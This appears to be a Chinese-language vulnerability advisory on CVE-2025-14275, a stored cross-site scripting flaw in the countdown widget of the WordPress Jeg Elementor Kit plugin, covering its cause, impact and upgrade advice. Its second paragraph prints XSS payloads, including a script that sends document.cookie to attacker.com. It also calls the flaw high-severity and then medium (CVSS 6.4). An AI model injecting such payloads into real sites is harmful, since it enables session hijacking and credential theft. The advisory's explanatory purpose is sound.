CVE-2025-14275CVE-2025-14275是WordPress平台Jeg Elementor Kit插件中的一个高危安全漏洞。该漏洞是一种存储型跨站脚本攻击(Stored Cross-Site Scripting),存在于插件的倒计时(countdown)小部件的重定向功能中。漏洞根源在于插件对用户输入的清理和验证不足,攻击者可以利用倒计时小部件注入恶意JavaScript代码。由于该代码会永久存储在数据库中,所有访问包含恶意倒计时元素的页面的用户都会受到攻击影响。攻击者只需要拥有WordPress网站的Contributor(贡献者)级别权限即可利用此漏洞,而无需管理员权限即可完成攻击链的部署。攻击者注入的恶意脚本会在管理员或其他用户访问相关页面时自动执行,可能导致会话劫持、凭据窃取、恶意重定向等严重后果。此漏洞影响Jeg Elementor Kit插件3.0.1及之前的所有版本,CVSS评分6.4,属于中等严重程度。由于该插件在WordPress生态中应用广泛,众多使用该插件构建网站的个人和企业都可能受到影响。建议网站管理员立即检查插件版本,并在厂商发布修复版本后第一时间进行升级。
该漏洞的技术根源在于Jeg Elementor Kit插件的倒计时(countdown)小部件对redirect参数缺乏有效的输入验证和输出编码。攻击者通过WordPress的编辑器功能,在创建或编辑倒计时元素时,可以在redirect字段中注入包含恶意JavaScript代码的payload。由于插件未对用户输入进行适当的HTML实体编码或JavaScript转义,这些恶意代码会被直接写入到页面的DOM结构中。当其他用户访问包含该倒计时元素的页面时,浏览器会将其解析为可执行的JavaScript代码并执行。攻击者通常利用此漏洞窃取管理员的cookies或session token,从而接管整个WordPress后台。漏洞利用的关键在于倒计时小部件的JavaScript渲染逻辑直接使用了用户可控的输入,而没有经过sanitize_text_field或esc_html等WordPress安全函数的处理。攻击者可以使用诸如<img src=x onerror=alert(document.cookie)>或<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>等payload来实现恶意脚本的执行。由于存储型XSS的特性,这种攻击可以在管理员不知情的情况下持续存在,直到管理员发现并清理恶意内容。